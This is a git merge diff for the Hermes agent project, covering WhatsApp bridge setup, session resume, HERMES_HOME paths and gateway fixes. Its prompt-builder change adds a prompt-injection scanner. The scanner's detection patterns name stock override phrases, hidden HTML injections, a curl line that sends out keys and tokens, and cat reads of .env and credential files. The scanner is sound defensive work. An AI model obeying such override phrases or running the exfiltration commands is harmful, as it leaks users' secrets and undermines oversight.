Merge remote-tracking branch 'origin/main' into codex/align-codex-provider-conventions-mainrepo

# Conflicts:
#	cron/scheduler.py
#	gateway/run.py
#	tools/delegate_tool.py
This commit is contained in:
George Pickett 2026-02-26 10:56:29 -08:00
commit 32070e6bc0
61 changed files with 8482 additions and 244 deletions

View file

@ -164,6 +164,10 @@ VOICE_TOOLS_OPENAI_KEY=
# Slack allowed users (comma-separated Slack user IDs)
# SLACK_ALLOWED_USERS=
# WhatsApp (built-in Baileys bridge — run `hermes whatsapp` to pair)
# WHATSAPP_ENABLED=false
# WHATSAPP_ALLOWED_USERS=15551234567
# Gateway-wide: allow ALL users without an allowlist (default: false = deny)
# Only set to true if you intentionally want open access.
# GATEWAY_ALLOW_ALL_USERS=false

View file

@ -235,23 +235,31 @@ SLACK_ALLOWED_USERS=U01234ABCDE # Comma-separated Slack user IDs
### WhatsApp Setup
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes supports two approaches:
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes includes a built-in bridge using [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web. The agent links to your WhatsApp account and responds to incoming messages.
**Option A — WhatsApp Business API** (requires [Meta Business verification](https://business.facebook.com/)):
- Production-grade, but requires a verified business account
- Set `WHATSAPP_ENABLED=true` in `~/.hermes/.env` and configure the Business API credentials
**Option B — whatsapp-web.js bridge** (personal accounts):
1. Install Node.js if not already present
2. Set up the bridge:
1. **Run the setup command:**
```bash
# Add to ~/.hermes/.env:
WHATSAPP_ENABLED=true
WHATSAPP_ALLOWED_USERS=YOUR_PHONE_NUMBER # e.g. 15551234567
hermes whatsapp
```
3. On first launch, the gateway will display a QR code — scan it with WhatsApp on your phone to link the session
This will:
- Enable WhatsApp in your config
- Ask for your phone number (for the allowlist)
- Install bridge dependencies (Node.js required)
- Display a QR code — scan it with your phone (WhatsApp → Settings → Linked Devices → Link a Device)
- Exit automatically once paired
2. **Start the gateway:**
```bash
hermes gateway # Foreground
hermes gateway install # Or install as a system service (Linux)
```
The gateway starts the WhatsApp bridge automatically using the saved session.
> **Note:** WhatsApp Web sessions can disconnect if WhatsApp updates their protocol. The gateway reconnects automatically. If you see persistent failures, re-pair with `hermes whatsapp`. Agent responses are prefixed with "⚕ Hermes Agent" so you can distinguish them from your own messages in self-chat.
See [docs/messaging.md](docs/messaging.md) for advanced WhatsApp configuration.
@ -331,6 +339,8 @@ HERMES_TOOL_PROGRESS_MODE=all # or "new" for only when tool changes
# Chat
hermes # Interactive chat (default)
hermes chat -q "Hello" # Single query mode
hermes --continue # Resume the most recent session (-c)
hermes --resume <id> # Resume a specific session (-r)
# Provider & model management
hermes model # Switch provider and model interactively
@ -569,8 +579,22 @@ All CLI and messaging sessions are stored in a SQLite database (`~/.hermes/state
- **FTS5 search** via the `session_search` tool -- search past conversations with Gemini Flash summarization
- **Compression-triggered session splitting** -- when context is compressed, a new session is created linked to the parent, giving clean trajectories
- **Source tagging** -- each session is tagged with its origin (cli, telegram, discord, etc.)
- **Session resume** -- pick up where you left off with `hermes --continue` (most recent) or `hermes --resume <id>` (specific session)
- Batch runner and RL trajectories are NOT stored here (separate systems)
When you exit a CLI session, the resume command is printed automatically:
```
Resume this session with:
hermes --resume 20260225_143052_a1b2c3
Session: 20260225_143052_a1b2c3
Duration: 12m 34s
Messages: 28 (5 user, 18 tool calls)
```
Use `hermes sessions list` to browse past sessions and find IDs to resume.
### 📝 Session Logging
Every conversation is logged to `~/.hermes/sessions/` for debugging:
@ -825,6 +849,8 @@ print(summary)
**When the agent uses this:** 3+ tool calls with processing logic between them, bulk data filtering, conditional branching, loops. The intermediate tool results never enter the context window -- only the final `print()` output comes back.
**Security:** The child process runs with a minimal environment -- only safe system variables (`PATH`, `HOME`, `LANG`, etc.) are passed through. API keys, tokens, and credentials are stripped entirely. The script accesses tools exclusively via the RPC channel; it cannot read secrets from environment variables.
Configure via `~/.hermes/config.yaml`:
```yaml
code_execution:
@ -1401,7 +1427,9 @@ All variables go in `~/.hermes/.env`. Run `hermes config set VAR value` to set t
| `ANTHROPIC_API_KEY` | Direct Anthropic access |
| `OPENAI_API_KEY` | API key for custom OpenAI-compatible endpoints (used with `OPENAI_BASE_URL`) |
| `OPENAI_BASE_URL` | Base URL for custom endpoint (VLLM, SGLang, etc.) |
| `LLM_MODEL` | Default model name (fallback when `HERMES_MODEL` is not set) |
| `VOICE_TOOLS_OPENAI_KEY` | OpenAI key for TTS and voice transcription (separate from custom endpoint) |
| `HERMES_HOME` | Override Hermes config directory (default: `~/.hermes`). All config, sessions, logs, and skills are stored here. |
**Provider Auth (OAuth):**
| Variable | Description |

View file

@ -12,6 +12,50 @@ from typing import Optional
logger = logging.getLogger(__name__)
# ---------------------------------------------------------------------------
# Context file scanning — detect prompt injection in AGENTS.md, .cursorrules,
# SOUL.md before they get injected into the system prompt.
# ---------------------------------------------------------------------------
_CONTEXT_THREAT_PATTERNS = [
(r'ignore\s+(previous|all|above|prior)\s+instructions', "prompt_injection"),
(r'do\s+not\s+tell\s+the\s+user', "deception_hide"),
(r'system\s+prompt\s+override', "sys_prompt_override"),
(r'disregard\s+(your|all|any)\s+(instructions|rules|guidelines)', "disregard_rules"),
(r'act\s+as\s+(if|though)\s+you\s+(have\s+no|don\'t\s+have)\s+(restrictions|limits|rules)', "bypass_restrictions"),
(r'<!--[^>]*(?:ignore|override|system|secret|hidden)[^>]*-->', "html_comment_injection"),
(r'<\s*div\s+style\s*=\s*["\'].*display\s*:\s*none', "hidden_div"),
(r'translate\s+.*\s+into\s+.*\s+and\s+(execute|run|eval)', "translate_execute"),
(r'curl\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)', "exfil_curl"),
(r'cat\s+[^\n]*(\.env|credentials|\.netrc|\.pgpass)', "read_secrets"),
]
_CONTEXT_INVISIBLE_CHARS = {
'\u200b', '\u200c', '\u200d', '\u2060', '\ufeff',
'\u202a', '\u202b', '\u202c', '\u202d', '\u202e',
}
def _scan_context_content(content: str, filename: str) -> str:
"""Scan context file content for injection. Returns sanitized content."""
findings = []
# Check invisible unicode
for char in _CONTEXT_INVISIBLE_CHARS:
if char in content:
findings.append(f"invisible unicode U+{ord(char):04X}")
# Check threat patterns
for pattern, pid in _CONTEXT_THREAT_PATTERNS:
if re.search(pattern, content, re.IGNORECASE):
findings.append(pid)
if findings:
logger.warning("Context file %s blocked: %s", filename, ", ".join(findings))
return f"[BLOCKED: {filename} contained potential prompt injection ({', '.join(findings)}). Content not loaded.]"
return content
# =========================================================================
# Constants
# =========================================================================
@ -215,6 +259,7 @@ def build_context_files_prompt(cwd: Optional[str] = None) -> str:
content = agents_path.read_text(encoding="utf-8").strip()
if content:
rel_path = agents_path.relative_to(cwd_path)
content = _scan_context_content(content, str(rel_path))
total_agents_content += f"## {rel_path}\n\n{content}\n\n"
except Exception as e:
logger.debug("Could not read %s: %s", agents_path, e)
@ -230,6 +275,7 @@ def build_context_files_prompt(cwd: Optional[str] = None) -> str:
try:
content = cursorrules_file.read_text(encoding="utf-8").strip()
if content:
content = _scan_context_content(content, ".cursorrules")
cursorrules_content += f"## .cursorrules\n\n{content}\n\n"
except Exception as e:
logger.debug("Could not read .cursorrules: %s", e)
@ -241,6 +287,7 @@ def build_context_files_prompt(cwd: Optional[str] = None) -> str:
try:
content = mdc_file.read_text(encoding="utf-8").strip()
if content:
content = _scan_context_content(content, f".cursor/rules/{mdc_file.name}")
cursorrules_content += f"## .cursor/rules/{mdc_file.name}\n\n{content}\n\n"
except Exception as e:
logger.debug("Could not read %s: %s", mdc_file, e)
@ -265,6 +312,7 @@ def build_context_files_prompt(cwd: Optional[str] = None) -> str:
try:
content = soul_path.read_text(encoding="utf-8").strip()
if content:
content = _scan_context_content(content, "SOUL.md")
content = _truncate_content(content, "SOUL.md")
sections.append(
f"## SOUL.md\n\nIf SOUL.md is present, embody its persona and tone. "

107
cli.py
View file

@ -49,16 +49,26 @@ import threading
import queue
# Load environment variables first
# Load .env from ~/.hermes/.env first, then project root as dev fallback
from dotenv import load_dotenv
from hermes_constants import OPENROUTER_BASE_URL
env_path = Path(__file__).parent / '.env'
if env_path.exists():
_hermes_home = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
_user_env = _hermes_home / ".env"
_project_env = Path(__file__).parent / '.env'
if _user_env.exists():
try:
load_dotenv(dotenv_path=env_path, encoding="utf-8")
load_dotenv(dotenv_path=_user_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=env_path, encoding="latin-1")
load_dotenv(dotenv_path=_user_env, encoding="latin-1")
elif _project_env.exists():
try:
load_dotenv(dotenv_path=_project_env, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=_project_env, encoding="latin-1")
# Point mini-swe-agent at ~/.hermes/ so it shares our config
os.environ.setdefault("MSWEA_GLOBAL_CONFIG_DIR", str(_hermes_home))
# =============================================================================
# Configuration Loading
@ -132,15 +142,6 @@ def load_cli_config() -> Dict[str, Any]:
else:
config_path = project_config_path
# Also load .env from ~/.hermes/.env if it exists
user_env_path = Path.home() / '.hermes' / '.env'
if user_env_path.exists():
from dotenv import load_dotenv
try:
load_dotenv(dotenv_path=user_env_path, override=True, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(dotenv_path=user_env_path, override=True, encoding="latin-1")
# Default configuration
defaults = {
"model": {
@ -744,6 +745,7 @@ class HermesCLI:
max_turns: int = 60,
verbose: bool = False,
compact: bool = False,
resume: str = None,
):
"""
Initialize the Hermes CLI.
@ -757,6 +759,7 @@ class HermesCLI:
max_turns: Maximum tool-calling iterations (default: 60)
verbose: Enable verbose logging
compact: Use compact display mode
resume: Session ID to resume (restores conversation history from SQLite)
"""
# Initialize Rich console
self.console = Console()
@ -830,12 +833,16 @@ class HermesCLI:
# Conversation state
self.conversation_history: List[Dict[str, Any]] = []
self.session_start = datetime.now()
self._resumed = False
# Generate session ID with timestamp for display and logging
# Format: YYYYMMDD_HHMMSS_shortUUID (e.g., 20260201_143052_a1b2c3)
timestamp_str = self.session_start.strftime("%Y%m%d_%H%M%S")
short_uuid = uuid.uuid4().hex[:6]
self.session_id = f"{timestamp_str}_{short_uuid}"
# Session ID: reuse existing one when resuming, otherwise generate fresh
if resume:
self.session_id = resume
self._resumed = True
else:
timestamp_str = self.session_start.strftime("%Y%m%d_%H%M%S")
short_uuid = uuid.uuid4().hex[:6]
self.session_id = f"{timestamp_str}_{short_uuid}"
# History file for persistent input recall across sessions
self._history_file = Path.home() / ".hermes_history"
@ -894,6 +901,7 @@ class HermesCLI:
def _init_agent(self) -> bool:
"""
Initialize the agent on first use.
When resuming a session, restores conversation history from SQLite.
Returns:
bool: True if successful, False otherwise
@ -912,6 +920,34 @@ class HermesCLI:
except Exception as e:
logger.debug("SQLite session store not available: %s", e)
# If resuming, validate the session exists and load its history
if self._resumed and self._session_db:
session_meta = self._session_db.get_session(self.session_id)
if not session_meta:
_cprint(f"\033[1;31mSession not found: {self.session_id}{_RST}")
_cprint(f"{_DIM}Use a session ID from a previous CLI run (hermes sessions list).{_RST}")
return False
restored = self._session_db.get_messages_as_conversation(self.session_id)
if restored:
self.conversation_history = restored
msg_count = len([m for m in restored if m.get("role") == "user"])
_cprint(
f"{_GOLD}↻ Resumed session {_BOLD}{self.session_id}{_RST}{_GOLD} "
f"({msg_count} user message{'s' if msg_count != 1 else ''}, "
f"{len(restored)} total messages){_RST}"
)
else:
_cprint(f"{_GOLD}Session {self.session_id} found but has no messages. Starting fresh.{_RST}")
# Re-open the session (clear ended_at so it's active again)
try:
self._session_db._conn.execute(
"UPDATE sessions SET ended_at = NULL, end_reason = NULL WHERE id = ?",
(self.session_id,),
)
self._session_db._conn.commit()
except Exception:
pass
try:
self.agent = AIAgent(
model=self.model,
@ -1909,6 +1945,32 @@ class HermesCLI:
print(f"Error: {e}")
return None
def _print_exit_summary(self):
"""Print session resume info on exit, similar to Claude Code."""
print()
msg_count = len(self.conversation_history)
if msg_count > 0:
user_msgs = len([m for m in self.conversation_history if m.get("role") == "user"])
tool_calls = len([m for m in self.conversation_history if m.get("role") == "tool" or m.get("tool_calls")])
elapsed = datetime.now() - self.session_start
hours, remainder = divmod(int(elapsed.total_seconds()), 3600)
minutes, seconds = divmod(remainder, 60)
if hours > 0:
duration_str = f"{hours}h {minutes}m {seconds}s"
elif minutes > 0:
duration_str = f"{minutes}m {seconds}s"
else:
duration_str = f"{seconds}s"
print(f"Resume this session with:")
print(f" hermes --resume {self.session_id}")
print()
print(f"Session: {self.session_id}")
print(f"Duration: {duration_str}")
print(f"Messages: {msg_count} ({user_msgs} user, {tool_calls} tool calls)")
else:
print("Goodbye! ⚕")
def run(self):
"""Run the interactive CLI loop with persistent input at bottom."""
self.show_banner()
@ -2569,7 +2631,7 @@ class HermesCLI:
except Exception as e:
logger.debug("Could not close session in DB: %s", e)
_run_cleanup()
print("\nGoodbye! ⚕")
self._print_exit_summary()
# ============================================================================
@ -2590,6 +2652,7 @@ def main(
list_tools: bool = False,
list_toolsets: bool = False,
gateway: bool = False,
resume: str = None,
):
"""
Hermes Agent CLI - Interactive AI Assistant
@ -2607,12 +2670,14 @@ def main(
compact: Use compact display mode
list_tools: List available tools and exit
list_toolsets: List available toolsets and exit
resume: Resume a previous session by its ID (e.g., 20260225_143052_a1b2c3)
Examples:
python cli.py # Start interactive mode
python cli.py --toolsets web,terminal # Use specific toolsets
python cli.py -q "What is Python?" # Single query mode
python cli.py --list-tools # List tools and exit
python cli.py --resume 20260225_143052_a1b2c3 # Resume session
"""
# Signal to terminal_tool that we're in interactive mode
# This enables interactive sudo password prompts with timeout
@ -2661,6 +2726,7 @@ def main(
max_turns=max_turns,
verbose=verbose,
compact=compact,
resume=resume,
)
# Handle list commands (don't init agent for these)
@ -2682,6 +2748,7 @@ def main(
cli.show_banner()
cli.console.print(f"[bold blue]Query:[/] {query}")
cli.chat(query)
cli._print_exit_summary()
return
# Run interactive mode

View file

@ -34,8 +34,11 @@ sys.path.insert(0, str(Path(__file__).parent.parent))
from cron.jobs import get_due_jobs, mark_job_run, save_job_output
# Resolve Hermes home directory (respects HERMES_HOME override)
_hermes_home = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
# File-based lock prevents concurrent ticks from gateway + daemon + systemd timer
_LOCK_DIR = Path.home() / ".hermes" / "cron"
_LOCK_DIR = _hermes_home / "cron"
_LOCK_FILE = _LOCK_DIR / ".tick.lock"
@ -165,15 +168,15 @@ def run_job(job: dict) -> tuple[bool, str, str, Optional[str]]:
# changes take effect without a gateway restart.
from dotenv import load_dotenv
try:
load_dotenv(os.path.expanduser("~/.hermes/.env"), override=True, encoding="utf-8")
load_dotenv(str(_hermes_home / ".env"), override=True, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(os.path.expanduser("~/.hermes/.env"), override=True, encoding="latin-1")
load_dotenv(str(_hermes_home / ".env"), override=True, encoding="latin-1")
model = os.getenv("HERMES_MODEL", "anthropic/claude-opus-4.6")
model = os.getenv("HERMES_MODEL") or os.getenv("LLM_MODEL") or "anthropic/claude-opus-4.6"
try:
import yaml
_cfg_path = os.path.expanduser("~/.hermes/config.yaml")
_cfg_path = str(_hermes_home / "config.yaml")
if os.path.exists(_cfg_path):
with open(_cfg_path) as _f:
_cfg = yaml.safe_load(_f) or {}

View file

@ -6,20 +6,24 @@ The Hermes Agent CLI provides an interactive terminal interface for working with
```bash
# Basic usage
./hermes
hermes
# With specific model
./hermes --model "anthropic/claude-sonnet-4"
hermes --model "anthropic/claude-sonnet-4"
# With specific provider
./hermes --provider nous # Use Nous Portal (requires: hermes login)
./hermes --provider openrouter # Force OpenRouter
hermes --provider nous # Use Nous Portal (requires: hermes login)
hermes --provider openrouter # Force OpenRouter
# With specific toolsets
./hermes --toolsets "web,terminal,skills"
hermes --toolsets "web,terminal,skills"
# Resume previous sessions
hermes --continue # Resume the most recent CLI session (-c)
hermes --resume <session_id> # Resume a specific session by ID (-r)
# Verbose mode
./hermes --verbose
hermes --verbose
```
## Architecture
@ -238,6 +242,34 @@ This allows you to have different terminal configs for CLI vs batch processing.
- **Conversations**: Use `/save` to export conversations
- **Reset**: Use `/clear` for full reset, `/reset` to just clear history
- **Session Logs**: Every session automatically logs to `logs/session_{session_id}.json`
- **Resume**: Pick up any previous session with `--resume` or `--continue`
### Resuming Sessions
When you exit a CLI session, a resume command is printed:
```
Resume this session with:
hermes --resume 20260225_143052_a1b2c3
Session: 20260225_143052_a1b2c3
Duration: 12m 34s
Messages: 28 (5 user, 18 tool calls)
```
To resume:
```bash
hermes --continue # Resume the most recent CLI session
hermes -c # Short form
hermes --resume 20260225_143052_a1b2c3 # Resume a specific session by ID
hermes -r 20260225_143052_a1b2c3 # Short form
hermes chat --resume 20260225_143052_a1b2c3 # Explicit subcommand form
```
Resuming restores the full conversation history from SQLite (`~/.hermes/state.db`). The agent sees all previous messages, tool calls, and responses — just as if you never left. New messages append to the same session in the database.
Use `hermes sessions list` to browse past sessions and find IDs.
### Session Logging

View file

@ -46,7 +46,8 @@ def _run_tool_in_thread(tool_name: str, arguments: Dict[str, Any], task_id: str)
Run a tool call in a thread pool executor so backends that use asyncio.run()
internally (modal, docker) get a clean event loop.
If we're already in an async context, uses run_in_executor.
If we're already in an async context, executes handle_function_call() in a
disposable worker thread and blocks for the result.
If not (e.g., called from sync code), runs directly.
"""
try:
@ -94,7 +95,7 @@ class ToolContext:
backend = os.getenv("TERMINAL_ENV", "local")
logger.debug("ToolContext.terminal [%s backend] task=%s: %s", backend, self.task_id[:8], command[:100])
# Run in thread pool so modal/docker backends' asyncio.run() doesn't deadlock
# Run via thread helper so modal/docker backends' asyncio.run() doesn't deadlock
result = _run_tool_in_thread(
"terminal",
{"command": command, "timeout": timeout},

View file

@ -6,10 +6,13 @@ and implement the required methods.
"""
import asyncio
import logging
import os
import re
import uuid
from abc import ABC, abstractmethod
logger = logging.getLogger(__name__)
from dataclasses import dataclass, field
from datetime import datetime
from pathlib import Path
@ -517,6 +520,8 @@ class BasePlatformAdapter(ABC):
response = await self._message_handler(event)
# Send response if any
if not response:
logger.warning("[%s] Handler returned empty/None response for %s", self.name, event.source.chat_id)
if response:
# Extract MEDIA:<path> tags (from TTS tool) before other processing
media_files, response = self.extract_media(response)
@ -526,6 +531,7 @@ class BasePlatformAdapter(ABC):
# Send the text portion first (if any remains after extractions)
if text_content:
logger.info("[%s] Sending response (%d chars) to %s", self.name, len(text_content), event.source.chat_id)
result = await self.send(
chat_id=event.source.chat_id,
content=text_content,

View file

@ -18,6 +18,7 @@ with different backends via a bridge pattern.
import asyncio
import json
import logging
import os
import subprocess
from pathlib import Path
from typing import Dict, List, Optional, Any
@ -80,11 +81,17 @@ class WhatsAppAdapter(BasePlatformAdapter):
# WhatsApp message limits
MAX_MESSAGE_LENGTH = 65536 # WhatsApp allows longer messages
# Default bridge location relative to the hermes-agent install
_DEFAULT_BRIDGE_DIR = Path(__file__).resolve().parents[2] / "scripts" / "whatsapp-bridge"
def __init__(self, config: PlatformConfig):
super().__init__(config, Platform.WHATSAPP)
self._bridge_process: Optional[subprocess.Popen] = None
self._bridge_port: int = config.extra.get("bridge_port", 3000)
self._bridge_script: Optional[str] = config.extra.get("bridge_script")
self._bridge_script: Optional[str] = config.extra.get(
"bridge_script",
str(self._DEFAULT_BRIDGE_DIR / "bridge.js"),
)
self._session_path: Path = Path(config.extra.get(
"session_path",
Path.home() / ".hermes" / "whatsapp" / "session"
@ -98,25 +105,58 @@ class WhatsAppAdapter(BasePlatformAdapter):
This launches the Node.js bridge process and waits for it to be ready.
"""
if not check_whatsapp_requirements():
print(f"[{self.name}] Node.js not found. WhatsApp requires Node.js.")
return False
if not self._bridge_script:
print(f"[{self.name}] No bridge script configured.")
print(f"[{self.name}] Set 'bridge_script' in whatsapp.extra config.")
print(f"[{self.name}] See docs/messaging.md for WhatsApp setup instructions.")
logger.warning("[%s] Node.js not found. WhatsApp requires Node.js.", self.name)
return False
bridge_path = Path(self._bridge_script)
if not bridge_path.exists():
print(f"[{self.name}] Bridge script not found: {bridge_path}")
logger.warning("[%s] Bridge script not found: %s", self.name, bridge_path)
return False
logger.info("[%s] Bridge found at %s", self.name, bridge_path)
# Auto-install npm dependencies if node_modules doesn't exist
bridge_dir = bridge_path.parent
if not (bridge_dir / "node_modules").exists():
print(f"[{self.name}] Installing WhatsApp bridge dependencies...")
try:
install_result = subprocess.run(
["npm", "install", "--silent"],
cwd=str(bridge_dir),
capture_output=True,
text=True,
timeout=60,
)
if install_result.returncode != 0:
print(f"[{self.name}] npm install failed: {install_result.stderr}")
return False
print(f"[{self.name}] Dependencies installed")
except Exception as e:
print(f"[{self.name}] Failed to install dependencies: {e}")
return False
try:
# Ensure session directory exists
self._session_path.mkdir(parents=True, exist_ok=True)
# Start the bridge process
# Kill any orphaned bridge from a previous gateway run
try:
result = subprocess.run(
["fuser", f"{self._bridge_port}/tcp"],
capture_output=True, timeout=5,
)
if result.returncode == 0:
# Port is in use — kill the process
subprocess.run(
["fuser", "-k", f"{self._bridge_port}/tcp"],
capture_output=True, timeout=5,
)
import time
time.sleep(2)
except Exception:
pass
# Start the bridge process in its own process group
self._bridge_process = subprocess.Popen(
[
"node",
@ -124,19 +164,32 @@ class WhatsAppAdapter(BasePlatformAdapter):
"--port", str(self._bridge_port),
"--session", str(self._session_path),
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
)
# Wait for bridge to be ready (look for ready signal)
# This is a simplified version - real implementation would
# wait for an HTTP health check or specific stdout message
await asyncio.sleep(5)
if self._bridge_process.poll() is not None:
stderr = self._bridge_process.stderr.read() if self._bridge_process.stderr else ""
print(f"[{self.name}] Bridge process died: {stderr}")
# Wait for bridge to be ready via HTTP health check
import aiohttp
for attempt in range(15):
await asyncio.sleep(1)
if self._bridge_process.poll() is not None:
print(f"[{self.name}] Bridge process died (exit code {self._bridge_process.returncode})")
return False
try:
async with aiohttp.ClientSession() as session:
async with session.get(
f"http://localhost:{self._bridge_port}/health",
timeout=aiohttp.ClientTimeout(total=2)
) as resp:
if resp.status == 200:
data = await resp.json()
print(f"[{self.name}] Bridge ready (status: {data.get('status', '?')})")
break
except Exception:
continue
else:
print(f"[{self.name}] Bridge did not become ready in 15s")
return False
# Start message polling task
@ -148,20 +201,37 @@ class WhatsAppAdapter(BasePlatformAdapter):
return True
except Exception as e:
print(f"[{self.name}] Failed to start bridge: {e}")
logger.error("[%s] Failed to start bridge: %s", self.name, e, exc_info=True)
return False
async def disconnect(self) -> None:
"""Stop the WhatsApp bridge."""
"""Stop the WhatsApp bridge and clean up any orphaned processes."""
if self._bridge_process:
try:
self._bridge_process.terminate()
# Kill the entire process group so child node processes die too
import signal
try:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGTERM)
except (ProcessLookupError, PermissionError):
self._bridge_process.terminate()
await asyncio.sleep(1)
if self._bridge_process.poll() is None:
self._bridge_process.kill()
try:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGKILL)
except (ProcessLookupError, PermissionError):
self._bridge_process.kill()
except Exception as e:
print(f"[{self.name}] Error stopping bridge: {e}")
# Also kill any orphaned bridge processes on our port
try:
subprocess.run(
["fuser", "-k", f"{self._bridge_port}/tcp"],
capture_output=True, timeout=5,
)
except Exception:
pass
self._running = False
self._bridge_process = None
print(f"[{self.name}] Disconnected")
@ -355,9 +425,3 @@ class WhatsAppAdapter(BasePlatformAdapter):
print(f"[{self.name}] Error building event: {e}")
return None
# Note: A reference Node.js bridge script would be provided in scripts/whatsapp-bridge/
# It would use whatsapp-web.js or Baileys to:
# 1. Handle WhatsApp Web authentication (QR code)
# 2. Listen for incoming messages
# 3. Expose HTTP endpoints for send/receive/status

View file

@ -28,9 +28,12 @@ from typing import Dict, Optional, Any, List
# Add parent directory to path
sys.path.insert(0, str(Path(__file__).parent.parent))
# Resolve Hermes home directory (respects HERMES_HOME override)
_hermes_home = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
# Load environment variables from ~/.hermes/.env first
from dotenv import load_dotenv
_env_path = Path.home() / '.hermes' / '.env'
_env_path = _hermes_home / '.env'
if _env_path.exists():
try:
load_dotenv(_env_path, encoding="utf-8")
@ -41,7 +44,7 @@ load_dotenv()
# Bridge config.yaml values into the environment so os.getenv() picks them up.
# Values already set in the environment (from .env or shell) take precedence.
_config_path = Path.home() / '.hermes' / 'config.yaml'
_config_path = _hermes_home / 'config.yaml'
if _config_path.exists():
try:
import yaml as _yaml
@ -163,7 +166,7 @@ class GatewayRunner:
if not file_path:
try:
import yaml as _y
cfg_path = Path.home() / ".hermes" / "config.yaml"
cfg_path = _hermes_home / "config.yaml"
if cfg_path.exists():
with open(cfg_path) as _f:
cfg = _y.safe_load(_f) or {}
@ -174,7 +177,7 @@ class GatewayRunner:
return []
path = Path(file_path).expanduser()
if not path.is_absolute():
path = Path.home() / ".hermes" / path
path = _hermes_home / path
if not path.exists():
logger.warning("Prefill messages file not found: %s", path)
return []
@ -201,7 +204,7 @@ class GatewayRunner:
return prompt
try:
import yaml as _y
cfg_path = Path.home() / ".hermes" / "config.yaml"
cfg_path = _hermes_home / "config.yaml"
if cfg_path.exists():
with open(cfg_path) as _f:
cfg = _y.safe_load(_f) or {}
@ -222,7 +225,7 @@ class GatewayRunner:
if not effort:
try:
import yaml as _y
cfg_path = Path.home() / ".hermes" / "config.yaml"
cfg_path = _hermes_home / "config.yaml"
if cfg_path.exists():
with open(cfg_path) as _f:
cfg = _y.safe_load(_f) or {}
@ -450,7 +453,11 @@ class GatewayRunner:
if global_allowlist:
allowed_ids.update(uid.strip() for uid in global_allowlist.split(",") if uid.strip())
return user_id in allowed_ids
# WhatsApp JIDs have @s.whatsapp.net suffix — strip it for comparison
check_ids = {user_id}
if "@" in user_id:
check_ids.add(user_id.split("@")[0])
return bool(check_ids & allowed_ids)
async def _handle_message(self, event: MessageEvent) -> Optional[str]:
"""
@ -787,9 +794,11 @@ class GatewayRunner:
if old_history:
from run_agent import AIAgent
loop = asyncio.get_event_loop()
# Resolve credentials so the flush agent can reach the LLM
_flush_model = os.getenv("HERMES_MODEL") or os.getenv("LLM_MODEL") or "anthropic/claude-opus-4.6"
def _do_flush():
tmp_agent = AIAgent(
model=os.getenv("HERMES_MODEL", "anthropic/claude-opus-4.6"),
model=_flush_model,
**_resolve_runtime_agent_kwargs(),
max_iterations=5,
quiet_mode=True,
@ -897,7 +906,7 @@ class GatewayRunner:
try:
import yaml
config_path = Path.home() / '.hermes' / 'config.yaml'
config_path = _hermes_home / 'config.yaml'
if config_path.exists():
with open(config_path, 'r') as f:
config = yaml.safe_load(f) or {}
@ -994,7 +1003,7 @@ class GatewayRunner:
# Save to config.yaml
try:
import yaml
config_path = Path.home() / '.hermes' / 'config.yaml'
config_path = _hermes_home / 'config.yaml'
user_config = {}
if config_path.exists():
with open(config_path) as f:
@ -1256,7 +1265,7 @@ class GatewayRunner:
# Try to load platform_toolsets from config
platform_toolsets_config = {}
try:
config_path = Path.home() / '.hermes' / 'config.yaml'
config_path = _hermes_home / 'config.yaml'
if config_path.exists():
import yaml
with open(config_path, 'r') as f:
@ -1411,11 +1420,11 @@ class GatewayRunner:
except Exception:
pass
model = os.getenv("HERMES_MODEL", "anthropic/claude-opus-4.6")
model = os.getenv("HERMES_MODEL") or os.getenv("LLM_MODEL") or "anthropic/claude-opus-4.6"
try:
import yaml as _y
_cfg_path = Path.home() / ".hermes" / "config.yaml"
_cfg_path = _hermes_home / "config.yaml"
if _cfg_path.exists():
with open(_cfg_path) as _f:
_cfg = _y.safe_load(_f) or {}
@ -1705,7 +1714,7 @@ async def start_gateway(config: Optional[GatewayConfig] = None) -> bool:
A False return causes a non-zero exit code so systemd can auto-restart.
"""
# Configure rotating file log so gateway output is persisted for debugging
log_dir = Path.home() / '.hermes' / 'logs'
log_dir = _hermes_home / 'logs'
log_dir.mkdir(parents=True, exist_ok=True)
file_handler = RotatingFileHandler(
log_dir / 'gateway.log',

View file

@ -23,9 +23,13 @@ if _env_path.exists():
load_dotenv(_env_path, encoding="utf-8")
except UnicodeDecodeError:
load_dotenv(_env_path, encoding="latin-1")
# Also try project .env as fallback
# Also try project .env as dev fallback
load_dotenv(PROJECT_ROOT / ".env", override=False, encoding="utf-8")
# Point mini-swe-agent at ~/.hermes/ so it shares our config
os.environ.setdefault("MSWEA_GLOBAL_CONFIG_DIR", str(HERMES_HOME))
os.environ.setdefault("MSWEA_SILENT_STARTUP", "1")
from hermes_cli.colors import Colors, color
from hermes_constants import OPENROUTER_MODELS_URL
@ -207,7 +211,7 @@ def run_doctor(args):
print()
print(color("◆ Directory Structure", Colors.CYAN, Colors.BOLD))
hermes_home = Path.home() / ".hermes"
hermes_home = HERMES_HOME
if hermes_home.exists():
check_ok("~/.hermes directory exists")
else:
@ -255,17 +259,6 @@ def run_doctor(args):
check_ok("Created ~/.hermes/SOUL.md with basic template")
fixed_count += 1
logs_dir = PROJECT_ROOT / "logs"
if logs_dir.exists():
check_ok("logs/ directory exists (project root)")
else:
if should_fix:
logs_dir.mkdir(parents=True, exist_ok=True)
check_ok("Created logs/ directory")
fixed_count += 1
else:
check_warn("logs/ not found", "(will be created on first use)")
# Check memory directory
memories_dir = hermes_home / "memories"
if memories_dir.exists():
@ -374,6 +367,41 @@ def run_doctor(args):
else:
check_warn("Node.js not found", "(optional, needed for browser tools)")
# npm audit for all Node.js packages
if shutil.which("npm"):
npm_dirs = [
(PROJECT_ROOT, "Browser tools (agent-browser)"),
